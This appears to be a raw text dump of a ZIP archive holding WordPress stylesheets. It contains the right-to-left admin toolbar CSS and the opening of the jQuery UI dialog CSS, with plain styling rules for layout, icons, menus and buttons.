	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
	font-style: normal;
	line-height: 2.46153846;
	border-radius: 0;
	box-sizing: content-box;
	transition: none;
	-webkit-font-smoothing: subpixel-antialiased; /* Prevent Safari from switching to standard antialiasing on hover */
	-moz-osx-font-smoothing: auto; /* Prevent Firefox from inheriting from themes that use other values */
}

.rtl #wpadminbar * {
	font-family: Tahoma, sans-serif;
}

html:lang(he-il) .rtl #wpadminbar * {
	font-family: Arial, sans-serif;
}

#wpadminbar .ab-empty-item {
	cursor: default;
}

#wpadminbar .ab-empty-item,
#wpadminbar a.ab-item,
#wpadminbar > #wp-toolbar span.ab-label,
#wpadminbar > #wp-toolbar span.noticon {
	color: #f0f0f1;
}

#wpadminbar #wp-admin-bar-site-name a.ab-item,
#wpadminbar #wp-admin-bar-my-sites a.ab-item {
	white-space: nowrap;
}

#wpadminbar ul li:before,
#wpadminbar ul li:after {
	content: normal;
}

#wpadminbar a,
#wpadminbar a:hover,
#wpadminbar a img,
#wpadminbar a img:hover {
	border: none;
	text-decoration: none;
	background: none;
	box-shadow: none;
}

#wpadminbar a:focus,
#wpadminbar a:active,
#wpadminbar input[type="text"],
#wpadminbar input[type="password"],
#wpadminbar input[type="number"],
#wpadminbar input[type="search"],
#wpadminbar input[type="email"],
#wpadminbar input[type="url"],
#wpadminbar select,
#wpadminbar textarea,
#wpadminbar div {
	box-shadow: none;
}

#wpadminbar a:focus {
	/* Inherits transparent outline only visible in Windows High Contrast mode */
	outline-offset: -1px;
}

#wpadminbar {
	direction: rtl;
	color: #c3c4c7;
	font-size: 13px;
	font-weight: 400;
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
	line-height: 2.46153846;
	height: 32px;
	position: fixed;
	top: 0;
	right: 0;
	width: 100%;
	min-width: 600px; /* match the min-width of the body in wp-admin/css/common.css */
	z-index: 99999;
	background: #1d2327;
	/* Only visible in Windows High Contrast mode */
	outline: 1px solid transparent;
}

#wpadminbar .ab-sub-wrapper,
#wpadminbar ul,
#wpadminbar ul li {
	background: none;
	clear: none;
	list-style: none;
	margin: 0;
	padding: 0;
	position: relative;
	text-indent: 0;
	z-index: 99999;
}

#wpadminbar ul#wp-admin-bar-root-default>li {
	margin-left: 0;
}

#wpadminbar .quicklinks ul {
	text-align: right;
}

#wpadminbar li {
	float: right;
}

#wpadminbar .ab-empty-item {
	outline: none;
}

#wpadminbar .quicklinks a,
#wpadminbar .quicklinks .ab-empty-item,
#wpadminbar .shortlink-input {
	height: 32px;
	display: block;
	padding: 0 10px;
	margin: 0;
}

#wpadminbar .quicklinks > ul > li > a {
	padding: 0 7px 0 8px;
}

#wpadminbar .menupop .ab-sub-wrapper,
#wpadminbar .shortlink-input {
	margin: 0;
	padding: 0;
	box-shadow: 0 3px 5px rgba(0, 0, 0, 0.2);
	background: #2c3338;
	display: none;
	position: absolute;
	float: none;
}

#wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper {
	min-width: 100%;
}

#wpadminbar .ab-top-secondary .menupop .ab-sub-wrapper {
	left: 0;
	right: auto;
}

#wpadminbar .ab-submenu {
	padding: 6px 0;
}

#wpadminbar .selected .shortlink-input {
	display: block;
}

#wpadminbar .quicklinks .menupop ul li {
	float: none;
}

#wpadminbar .quicklinks .menupop ul li a strong {
	font-weight: 600;
}

#wpadminbar .quicklinks .menupop ul li .ab-item,
#wpadminbar .quicklinks .menupop ul li a strong,
#wpadminbar .quicklinks .menupop.hover ul li .ab-item,
#wpadminbar.nojs .quicklinks .menupop:hover ul li .ab-item,
#wpadminbar .shortlink-input {
	line-height: 2;
	height: 26px;
	white-space: nowrap;
	min-width: 140px;
}

#wpadminbar .shortlink-input {
	width: 200px;
}

#wpadminbar.nojs li:hover > .ab-sub-wrapper,
#wpadminbar li.hover > .ab-sub-wrapper {
	display: block;
	/* Only visible in Windows High Contrast mode */
	outline: 1px solid transparent;
}

#wpadminbar .menupop li:hover > .ab-sub-wrapper,
#wpadminbar .menupop li.hover > .ab-sub-wrapper {
	margin-right: 100%;
	margin-top: -32px;
}

#wpadminbar .ab-top-secondary .menupop li:hover > .ab-sub-wrapper,
#wpadminbar .ab-top-secondary .menupop li.hover > .ab-sub-wrapper {
	margin-right: 0;
	right: inherit;
	left: 100%;
}

#wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus,
#wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item,
#wpadminbar .ab-top-menu > li.hover > .ab-item {
	background: #2c3338;
	color: #72aee6;
}

#wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label,
#wpadminbar > #wp-toolbar li.hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label {
	color: #72aee6;
}

#wpadminbar > #wp-toolbar > #wp-admin-bar-root-default .ab-icon,
#wpadminbar .ab-icon,
#wpadminbar .ab-item:before,
.wp-admin-bar-arrow {
	position: relative;
	float: right;
	font: normal 20px/1 dashicons;
	speak: never;
	padding: 4px 0;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	background-image: none !important;
	margin-left: 6px;
}

#wpadminbar .ab-icon:before,
#wpadminbar .ab-item:before,
#wpadminbar #adminbarsearch:before {
	color: #a7aaad;
	color: rgba(240, 246, 252, 0.6);
}

#wpadminbar .ab-icon:before,
#wpadminbar .ab-item:before,
#wpadminbar #adminbarsearch:before {
	position: relative;
	transition: color .1s ease-in-out;
}

#wpadminbar .ab-label {
	display: inline-block;
	height: 32px;
}

#wpadminbar .ab-submenu .ab-item {
	color: #c3c4c7;
	color: rgba(240, 246, 252, 0.7);
}

#wpadminbar .quicklinks .menupop ul li a,
#wpadminbar .quicklinks .menupop ul li a strong,
#wpadminbar .quicklinks .menupop.hover ul li a,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a {
	color: #c3c4c7;
	color: rgba(240, 246, 252, 0.7);
}

#wpadminbar .quicklinks .menupop ul li a:hover,
#wpadminbar .quicklinks .menupop ul li a:focus,
#wpadminbar .quicklinks .menupop ul li a:hover strong,
#wpadminbar .quicklinks .menupop ul li a:focus strong,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a,
#wpadminbar .quicklinks .menupop.hover ul li a:hover,
#wpadminbar .quicklinks .menupop.hover ul li a:focus,
#wpadminbar .quicklinks .menupop.hover ul li div[tabindex]:hover,
#wpadminbar .quicklinks .menupop.hover ul li div[tabindex]:focus,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,
#wpadminbar li:hover .ab-icon:before,
#wpadminbar li:hover .ab-item:before,
#wpadminbar li a:focus .ab-icon:before,
#wpadminbar li .ab-item:focus:before,
#wpadminbar li .ab-item:focus .ab-icon:before,
#wpadminbar li.hover .ab-icon:before,
#wpadminbar li.hover .ab-item:before,
#wpadminbar li:hover #adminbarsearch:before,
#wpadminbar li #adminbarsearch.adminbar-focused:before {
	color: #72aee6;
}

#wpadminbar.mobile .quicklinks .ab-icon:before,
#wpadminbar.mobile .quicklinks .ab-item:before {
	color: #c3c4c7;
}

#wpadminbar.mobile .quicklinks .hover .ab-icon:before,
#wpadminbar.mobile .quicklinks .hover .ab-item:before {
	color: #72aee6;
}

#wpadminbar .menupop .menupop > .ab-item .wp-admin-bar-arrow:before,
#wpadminbar .ab-top-secondary .menupop .menupop > .ab-item:before {
	position: absolute;
	font: normal 17px/1 dashicons;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

#wpadminbar .menupop .menupop > .ab-item {
	display: block;
	padding-left: 2em;
}

#wpadminbar .menupop .menupop > .ab-item .wp-admin-bar-arrow:before {
	top: 1px;
	left: 10px;
	padding: 4px 0;
	content: "\f141";
	color: inherit;
}

#wpadminbar .ab-top-secondary .menupop .menupop > .ab-item {
	padding-right: 2em;
	padding-left: 1em;
}

#wpadminbar .ab-top-secondary .menupop .menupop > .ab-item .wp-admin-bar-arrow:before {
	top: 1px;
	right: 6px;
	content: "\f139";
}

#wpadminbar .quicklinks .menupop ul.ab-sub-secondary {
	display: block;
	position: relative;
	left: auto;
	margin: 0;
	box-shadow: none;
}

#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,
#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu {
	background: #3c434a;
}

#wpadminbar .quicklinks .menupop .ab-sub-secondary > li > a:hover,
#wpadminbar .quicklinks .menupop .ab-sub-secondary > li .ab-item:focus a {
	color: #72aee6;
}

#wpadminbar .quicklinks a span#ab-updates {
	background: #f0f0f1;
	color: #2c3338;
	display: inline;
	padding: 2px 5px;
	font-size: 10px;
	font-weight: 600;
	border-radius: 10px;
}

#wpadminbar .quicklinks a:hover span#ab-updates {
	background: #fff;
	color: #000;
}

#wpadminbar .ab-top-secondary {
	float: left;
}

#wpadminbar ul li:last-child,
#wpadminbar ul li:last-child .ab-item {
	box-shadow: none;
}

/**
 * Recovery Mode
 */
#wpadminbar #wp-admin-bar-recovery-mode {
	color: #fff;
	background-color: #d63638;
}

#wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover >.ab-item,
#wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus {
	color: #fff;
	background-color: #d63638;
}

/**
 * My Account
 */
#wp-admin-bar-my-account > ul {
	min-width: 198px;
}

#wp-admin-bar-my-account:not(.with-avatar) > .ab-item {
	display: inline-block;
}

#wp-admin-bar-my-account > .ab-item:before {
	content: "\f110";
	top: 2px;
	float: left;
	margin-right: 6px;
	margin-left: 0;
}

#wp-admin-bar-my-account.with-avatar > .ab-item:before {
	display: none;
	content: none;
}

#wp-admin-bar-my-account.with-avatar > ul {
	min-width: 270px;
}

#wpadminbar #wp-admin-bar-user-actions > li {
	margin-right: 16px;
	margin-left: 16px;
}

#wpadminbar #wp-admin-bar-user-actions.ab-submenu {
	padding: 6px 0 12px;
}

#wpadminbar #wp-admin-bar-my-account.with-avatar #wp-admin-bar-user-actions > li {
	margin-right: 88px;
}

#wpadminbar #wp-admin-bar-user-info {
	margin-top: 6px;
	margin-bottom: 15px;
	height: auto;
	background: none;
}

#wp-admin-bar-user-info .avatar {
	position: absolute;
	right: -72px;
	top: 4px;
	width: 64px;
	height: 64px;
}

#wpadminbar #wp-admin-bar-user-info a {
	background: none;
	height: auto;
}

#wpadminbar #wp-admin-bar-user-info span {
	background: none;
	padding: 0;
	height: 18px;
}

#wpadminbar #wp-admin-bar-user-info .display-name,
#wpadminbar #wp-admin-bar-user-info .username {
	display: block;
}

#wpadminbar #wp-admin-bar-user-info .username {
	color: #a7aaad;
	font-size: 11px;
}

#wpadminbar #wp-admin-bar-my-account.with-avatar > .ab-empty-item img,
#wpadminbar #wp-admin-bar-my-account.with-avatar > a img {
	width: auto;
	height: 16px;
	padding: 0;
	border: 1px solid #8c8f94;
	background: #f0f0f1;
	line-height: 1.84615384;
	vertical-align: middle;
	margin: -4px 6px 0 0;
	float: none;
	display: inline;
}

/**
 * WP Logo
 */
#wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon {
	width: 15px;
	height: 20px;
	margin-left: 0;
	padding: 6px 0 5px;
}

#wpadminbar #wp-admin-bar-wp-logo > .ab-item {
	padding: 0 7px;
}

#wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon:before {
	content: "\f120";
	top: 2px;
}

/*
 * My Sites & Site Title
 */
#wpadminbar .quicklinks li .blavatar {
	display: inline-block;
	vertical-align: middle;
	font: normal 16px/1 dashicons !important;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	color: #f0f0f1;
}

#wpadminbar .quicklinks li a:hover .blavatar,
#wpadminbar .quicklinks li a:focus .blavatar,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar {
	color: #72aee6;
}

#wpadminbar .quicklinks li img.blavatar,
#wpadminbar .quicklinks li div.blavatar:before {
	height: 16px;
	width: 16px;
	margin: 0 -2px 2px 8px;
}

#wpadminbar .quicklinks li div.blavatar:before {
	content: "\f120";
	display: inline-block;
}

#wpadminbar #wp-admin-bar-appearance {
	margin-top: -12px;
}

#wpadminbar #wp-admin-bar-my-sites > .ab-item:before,
#wpadminbar #wp-admin-bar-site-name > .ab-item:before {
	content: "\f541";
	top: 2px;
}

#wpadminbar #wp-admin-bar-site-editor > .ab-item:before {
	content: "\f100";
	top: 2px;
}

#wpadminbar #wp-admin-bar-customize > .ab-item:before {
	content: "\f540";
	top: 2px;
}

#wpadminbar #wp-admin-bar-edit > .ab-item:before {
	content: "\f464";
	top: 2px;
}

#wpadminbar #wp-admin-bar-site-name > .ab-item:before {
	content: "\f226";
}

.wp-admin #wpadminbar #wp-admin-bar-site-name > .ab-item:before {
	content: "\f102";
}



/**
 * Comments
 */
#wpadminbar #wp-admin-bar-comments .ab-icon {
	margin-left: 6px;
}

#wpadminbar #wp-admin-bar-comments .ab-icon:before {
	content: "\f101";
	top: 3px;
}

#wpadminbar #wp-admin-bar-comments .count-0 {
	opacity: .5;
}

/**
 * New Content
 */
#wpadminbar #wp-admin-bar-new-content .ab-icon:before {
	content: "\f132";
	top: 4px;
}

/**
 * Updates
 */
#wpadminbar #wp-admin-bar-updates .ab-icon:before {
	content: "\f463";
	top: 2px;
}

#wpadminbar #wp-admin-bar-updates.spin .ab-icon:before {
	display: inline-block;
	animation: rotation 2s infinite linear;
}

@media (prefers-reduced-motion: reduce) {
	#wpadminbar #wp-admin-bar-updates.spin .ab-icon:before {
		animation: none;
	}
}

/**
 * Search
 */

#wpadminbar #wp-admin-bar-search .ab-item {
	padding: 0;
	background: transparent;
}

#wpadminbar #adminbarsearch {
	position: relative;
	height: 32px;
	padding: 0 2px;
	z-index: 1;
}

#wpadminbar #adminbarsearch:before {
	position: absolute;
	top: 6px;
	right: 5px;
	z-index: 20;
	font: normal 20px/1 dashicons !important;
	content: "\f179";
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

/* The admin bar search field needs to reset many styles that might be inherited from the active Theme CSS. See ticket #40313. */
#wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input {
	display: inline-block;
	float: none;
	position: relative;
	z-index: 30;
	font-size: 13px;
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
	line-height: 1.84615384;
	text-indent: 0;
	height: 24px;
	width: 24px;
	max-width: none;
	padding: 0 24px 0 3px;
	margin: 0;
	color: #c3c4c7;
	background-color: rgba(255, 255, 255, 0);
	border: none;
	outline: none;
	cursor: pointer;
	box-shadow: none;
	box-sizing: border-box;
	transition-duration: 400ms;
	transition-property: width, background;
	transition-timing-function: ease;
}

#wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus {
	z-index: 10;
	color: #000;
	width: 200px;
	background-color: rgba(255, 255, 255, 0.9);
	cursor: text;
	border: 0;
}

#wpadminbar #adminbarsearch .adminbar-button {
	display: none;
}

/**
 * Customize support classes
 */
.no-customize-support .hide-if-no-customize,
.customize-support .hide-if-customize,
.no-customize-support #wpadminbar .hide-if-no-customize,
.no-customize-support.wp-core-ui .hide-if-no-customize,
.no-customize-support .wp-core-ui .hide-if-no-customize,
.customize-support #wpadminbar .hide-if-customize,
.customize-support.wp-core-ui .hide-if-customize,
.customize-support .wp-core-ui .hide-if-customize {
	display: none;
}

/* Skip link */
#wpadminbar .screen-reader-text,
#wpadminbar .screen-reader-text span {
	border: 0;
	clip-path: inset(50%);
	height: 1px;
	margin: -1px;
	overflow: hidden;
	padding: 0;
	position: absolute;
	width: 1px;
	word-wrap: normal !important;
}

#wpadminbar .screen-reader-shortcut {
	position: absolute;
	top: -1000em;
	right: 6px;
	height: auto;
	width: auto;
	display: block;
	font-size: 14px;
	font-weight: 600;
	padding: 15px 23px 14px;
	background: #f0f0f1;
	color: #2271b1;
	z-index: 100000;
	line-height: normal;
	text-decoration: none;
}

#wpadminbar .screen-reader-shortcut:focus {
	top: 7px;
	background: #f0f0f1;
	box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.6);
}

@media screen and (max-width: 782px) {
	html {
		--wp-admin--admin-bar--height: 46px;
	}

	/* Toolbar Touchification*/
	html #wpadminbar {
		height: 46px;
		min-width: 240px; /* match the min-width of the body in wp-admin/css/common.css */
	}

	#wpadminbar * {
		font-size: 14px;
		font-weight: 400;
		font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
		line-height: 2.28571428;
	}

	#wpadminbar .quicklinks > ul > li > a,
	#wpadminbar .quicklinks .ab-empty-item {
		padding: 0;
		height: 46px;
		line-height: 3.28571428;
		width: auto;
	}

	#wpadminbar .ab-icon {
		font: 40px/1 dashicons !important;
		margin: 0;
		padding: 0;
		width: 52px;
		height: 46px;
		text-align: center;
	}

	#wpadminbar .ab-icon:before {
		text-align: center;
	}

	#wpadminbar .ab-submenu {
		padding: 0;
	}

	#wpadminbar #wp-admin-bar-site-name a.ab-item,
	#wpadminbar #wp-admin-bar-my-sites a.ab-item,
	#wpadminbar #wp-admin-bar-my-account a.ab-item {
		text-overflow: clip;
	}

	#wpadminbar .quicklinks .menupop ul li .ab-item,
	#wpadminbar .quicklinks .menupop ul li a strong,
	#wpadminbar .quicklinks .menupop.hover ul li .ab-item,
	#wpadminbar.nojs .quicklinks .menupop:hover ul li .ab-item,
	#wpadminbar .shortlink-input {
	    line-height: 1.6;
	}

	#wpadminbar .ab-label {
		border: 0;
		clip-path: inset(50%);
		height: 1px;
		margin: -1px;
		overflow: hidden;
		padding: 0;
		position: absolute;
		width: 1px;
		word-wrap: normal !important;
	}

	#wpadminbar .menupop li:hover > .ab-sub-wrapper,
	#wpadminbar .menupop li.hover > .ab-sub-wrapper {
		margin-top: -46px;
	}

	#wpadminbar .ab-top-menu .menupop .ab-sub-wrapper .menupop > .ab-item {
		padding-left: 30px;
	}

	#wpadminbar .menupop .menupop > .ab-item:before {
		top: 10px;
		left: 6px;
	}

	#wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper .ab-item {
		font-size: 16px;
		padding: 8px 16px;
	}

	#wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper a:empty {
		display: none;
	}

	/* WP logo */
	#wpadminbar #wp-admin-bar-wp-logo > .ab-item {
		padding: 0;
	}

	#wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon {
		padding: 0;
		width: 52px;
		height: 46px;
		text-align: center;
		vertical-align: top;
	}

	#wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon:before {
		font: 28px/1 dashicons !important;
		top: -3px;
	}

	#wpadminbar .ab-icon,
	#wpadminbar .ab-item:before {
		padding: 0;
	}

	/* My Sites and "Site Title" menu */
	#wpadminbar #wp-admin-bar-my-sites > .ab-item,
	#wpadminbar #wp-admin-bar-site-name > .ab-item,
	#wpadminbar #wp-admin-bar-site-editor > .ab-item,
	#wpadminbar #wp-admin-bar-customize > .ab-item,
	#wpadminbar #wp-admin-bar-edit > .ab-item,
	#wpadminbar #wp-admin-bar-my-account > .ab-item {
		text-indent: 100%;
		white-space: nowrap;
		overflow: hidden;
		width: 52px;
		padding: 0;
		color: #a7aaad; /* @todo not needed? this text is hidden */
		position: relative;
	}

	#wpadminbar > #wp-toolbar > #wp-admin-bar-root-default .ab-icon,
	#wpadminbar .ab-icon,
	#wpadminbar .ab-item:before {
		padding: 0;
		margin-left: 0;
	}

	#wpadminbar #wp-admin-bar-edit > .ab-item:before,
	#wpadminbar #wp-admin-bar-my-sites > .ab-item:before,
	#wpadminbar #wp-admin-bar-site-name > .ab-item:before,
	#wpadminbar #wp-admin-bar-site-editor > .ab-item:before,
	#wpadminbar #wp-admin-bar-customize > .ab-item:before,
	#wpadminbar #wp-admin-bar-my-account > .ab-item:before {
		display: block;
		text-indent: 0;
		font: normal 32px/1 dashicons;
		speak: never;
		top: 7px;
		width: 52px;
		text-align: center;
		-webkit-font-smoothing: antialiased;
		-moz-osx-font-smoothing: grayscale;
	}

	#wpadminbar #wp-admin-bar-appearance {
		margin-top: 0;
	}

	#wpadminbar .quicklinks li .blavatar:before {
		display: none;
	}

	/* Search */
	#wpadminbar #wp-admin-bar-search {
		display: none;
	}

	/* New Content */
	#wpadminbar #wp-admin-bar-new-content .ab-icon:before {
		top: 0;
		line-height: 1.26;
		height: 46px !important;
		text-align: center;
		width: 52px;
		display: block;
	}

	/* Updates */
	#wpadminbar #wp-admin-bar-updates {
		text-align: center;
	}

	#wpadminbar #wp-admin-bar-updates .ab-icon:before {
		top: 3px;
	}

	/* Comments */
	#wpadminbar #wp-admin-bar-comments .ab-icon {
		margin: 0;
	}

	#wpadminbar #wp-admin-bar-comments .ab-icon:before {
		display: block;
		font-size: 34px;
		height: 46px;
		line-height: 1.38235294;
		top: 0;
	}

	/* My Account */
	#wpadminbar #wp-admin-bar-my-account > a {
		position: relative;
		white-space: nowrap;
		text-indent: 150%; /* More than 100% indention is needed since this element has padding */
		width: 28px;
		padding: 0 10px;
		overflow: hidden; /* Prevent link text from forcing horizontal scrolling on mobile */
	}

	#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img {
		position: absolute;
		top: 13px;
		left: 10px;
		width: 26px;
		height: 26px;
	}

	#wpadminbar #wp-admin-bar-user-actions.ab-submenu {
		padding: 0;
	}

	#wpadminbar #wp-admin-bar-user-actions.ab-submenu img.avatar {
		display: none;
	}

	#wpadminbar #wp-admin-bar-my-account.with-avatar #wp-admin-bar-user-actions > li {
		margin: 0;
	}

	#wpadminbar #wp-admin-bar-user-info .display-name {
		height: auto;
		font-size: 16px;
		line-height: 1.5;
		color: #f0f0f1;
	}

	#wpadminbar #wp-admin-bar-user-info a {
		padding-top: 4px;
	}

	#wpadminbar #wp-admin-bar-user-info .username {
		line-height: 0.8 !important;
		margin-bottom: -2px;
	}

	/* Show only default top level items */
	#wp-toolbar > ul > li {
		display: none;
	}

	#wpadminbar li#wp-admin-bar-menu-toggle,
	#wpadminbar li#wp-admin-bar-wp-logo,
	#wpadminbar li#wp-admin-bar-my-sites,
	#wpadminbar li#wp-admin-bar-updates,
	#wpadminbar li#wp-admin-bar-site-name,
	#wpadminbar li#wp-admin-bar-site-editor,
	#wpadminbar li#wp-admin-bar-customize,
	#wpadminbar li#wp-admin-bar-new-content,
	#wpadminbar li#wp-admin-bar-edit,
	#wpadminbar li#wp-admin-bar-comments,
	#wpadminbar li#wp-admin-bar-my-account {
		display: block;
	}

	/* Allow dropdown list items to appear normally */
	#wpadminbar li:hover ul li,
	#wpadminbar li.hover ul li,
	#wpadminbar li:hover ul li:hover ul li {
		display: list-item;
	}

	/* Override default min-width so dropdown lists aren't stretched
		to 100% viewport width at responsive sizes. */
	#wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper {
		min-width: fit-content;
	}

	#wpadminbar ul#wp-admin-bar-root-default > li {
		margin-left: 0;
	}

	/* Experimental fix for touch toolbar dropdown positioning */
	#wpadminbar .ab-top-menu,
	#wpadminbar .ab-top-secondary,
	#wpadminbar #wp-admin-bar-wp-logo,
	#wpadminbar #wp-admin-bar-my-sites,
	#wpadminbar #wp-admin-bar-site-name,
	#wpadminbar #wp-admin-bar-updates,
	#wpadminbar #wp-admin-bar-comments,
	#wpadminbar #wp-admin-bar-new-content,
	#wpadminbar #wp-admin-bar-edit,
	#wpadminbar #wp-admin-bar-my-account {
		position: static;
	}

	.network-admin #wpadminbar ul#wp-admin-bar-top-secondary > li#wp-admin-bar-my-account {
		margin-left: 0;
	}

	/* Realign arrows on taller responsive submenus */

	#wpadminbar .ab-top-secondary .menupop .menupop > .ab-item:before {
		top: 10px;
		right: 0;
	}
}

/* Smartphone */
@media screen and (max-width: 600px) {
	#wpadminbar {
		position: absolute;
	}

	#wp-responsive-overlay {
		position: fixed;
		top: 0;
		right: 0;
		width: 100%;
		height: 100%;
		z-index: 400;
	}

	#wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper {
		width: 100%;
		right: 0;
	}

	#wpadminbar .menupop .menupop > .ab-item:before {
		display: none;
	}

	#wpadminbar #wp-admin-bar-wp-logo.menupop .ab-sub-wrapper {
		margin-right: 0;
	}

	#wpadminbar .ab-top-menu > .menupop li > .ab-sub-wrapper {
		margin: 0;
		width: 100%;
		top: auto;
		right: auto;
		position: relative;
	}

	#wpadminbar .ab-top-menu > .menupop li > .ab-sub-wrapper .ab-item {
		font-size: 16px;
		padding: 6px 30px 19px 15px;
	}

	#wpadminbar li:hover ul li ul li {
		display: list-item;
	}

	#wpadminbar li#wp-admin-bar-wp-logo,
	#wpadminbar li#wp-admin-bar-updates {
		display: none;
	}

	/* Make submenus full-width at this size */

	#wpadminbar .ab-top-menu > .menupop li > .ab-sub-wrapper {
		position: static;
		box-shadow: none;
	}
}

/* Very narrow screens */
@media screen and (max-width: 400px) {
	#wpadminbar li#wp-admin-bar-comments {
		display: none;
	}
}
PK1Xd[/�=��jquery-ui-dialog.cssnu�[���/*!
 * jQuery UI CSS Framework 1.11.4
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 *
 * http://api.jqueryui.com/category/theming/
 */

/* Layout helpers
----------------------------------*/
.ui-helper-hidden {
	display: none;
}
.ui-helper-hidden-accessible {
	border: 0;
	clip: rect(0 0 0 0);
	height: 1px;
	margin: -1px;
	overflow: hidden;
	padding: 0;
	position: absolute;
	width: 1px;
}
.ui-helper-reset {
	margin: 0;
	padding: 0;
	border: 0;
	outline: 0;
	line-height: 1.3;
	text-decoration: none;
	font-size: 100%;
	list-style: none;
}
.ui-helper-clearfix:before,
.ui-helper-clearfix:after {
	content: "";
	display: table;
	border-collapse: collapse;
}
.ui-helper-clearfix:after {
	clear: both;
}
.ui-helper-clearfix {
	min-height: 0; /* support: IE7 */
}
.ui-helper-zfix {
	width: 100%;
	height: 100%;
	top: 0;
	left: 0;
	position: absolute;
	opacity: 0;
	filter:Alpha(Opacity=0); /* support: IE8 */
}

.ui-front {
	z-index: 100;
}


/* Interaction Cues
----------------------------------*/
.ui-state-disabled {
	cursor: default !important;
}


/* Icons
----------------------------------*/

/* states and images */
.ui-icon {
	display: block;
	text-indent: -99999px;
	overflow: hidden;
	background-repeat: no-repeat;
}


/* Misc visuals
----------------------------------*/

/* Overlays */
.ui-widget-overlay {
	position: fixed;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
}

/*!
 * jQuery UI Resizable 1.11.4
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
.ui-resizable {
	position: relative;
}
.ui-resizable-handle {
	position: absolute;
	font-size: 0.1px;
	display: block;
	touch-action: none;
}
.ui-resizable-disabled .ui-resizable-handle,
.ui-resizable-autohide .ui-resizable-handle {
	display: none;
}
.ui-resizable-n {
	cursor: n-resize;
	height: 7px;
	width: 100%;
	top: -5px;
	left: 0;
}
.ui-resizable-s {
	cursor: s-resize;
	height: 7px;
	width: 100%;
	bottom: -5px;
	left: 0;
}
/* rtl:ignore */
.ui-resizable-e {
	cursor: e-resize;
	width: 7px;
	right: -5px;
	top: 0;
	height: 100%;
}
/* rtl:ignore */
.ui-resizable-w {
	cursor: w-resize;
	width: 7px;
	left: -5px;
	top: 0;
	height: 100%;
}
/* rtl:ignore */
.ui-resizable-se {
	cursor: se-resize;
	width: 12px;
	height: 12px;
	right: 1px;
	bottom: 1px;
}
/* rtl:ignore */
.ui-resizable-sw {
	cursor: sw-resize;
	width: 9px;
	height: 9px;
	left: -5px;
	bottom: -5px;
}
/* rtl:ignore */
.ui-resizable-nw {
	cursor: nw-resize;
	width: 9px;
	height: 9px;
	left: -5px;
	top: -5px;
}
/* rtl:ignore */
.ui-resizable-ne {
	cursor: ne-resize;
	width: 9px;
	height: 9px;
	right: -5px;
	top: -5px;
}

/* WP buttons: see buttons.css. */

.ui-button {
	display: inline-block;
	text-decoration: none;
	font-size: 13px;
	line-height: 2;
	height: 28px;
	margin: 0;
	padding: 0 10px 1px;
	cursor: pointer;
	border-width: 1px;
	border-style: solid;
	-webkit-appearance: none;
	border-radius: 3px;
	white-space: nowrap;
	box-sizing: border-box;
	color: #50575e;
	border-color: #c3c4c7;
	background: #f6f7f7;
	box-shadow: 0 1px 0 #c3c4c7;
	vertical-align: top;
}

.ui-button:active,
.ui-button:focus {
	outline: none;
}

/* Remove the dotted border on :focus and the extra padding in Firefox */
.ui-button::-moz-focus-inner {
	border-width: 0;
	border-style: none;
	padding: 0;
}

.ui-button:hover,
.ui-button:focus {
	background: #f6f7f7;
	border-color: #8c8f94;
	color: #1d2327;
}

.ui-button:focus {
	border-color: #4f94d4;
	box-shadow: 0 0 3px rgba(34, 113, 177, 0.8);
}

.ui-button:active {
	background: #f0f0f1;
	border-color: #8c8f94;
	box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5);
}

.ui-button[disabled],
.ui-button:disabled {
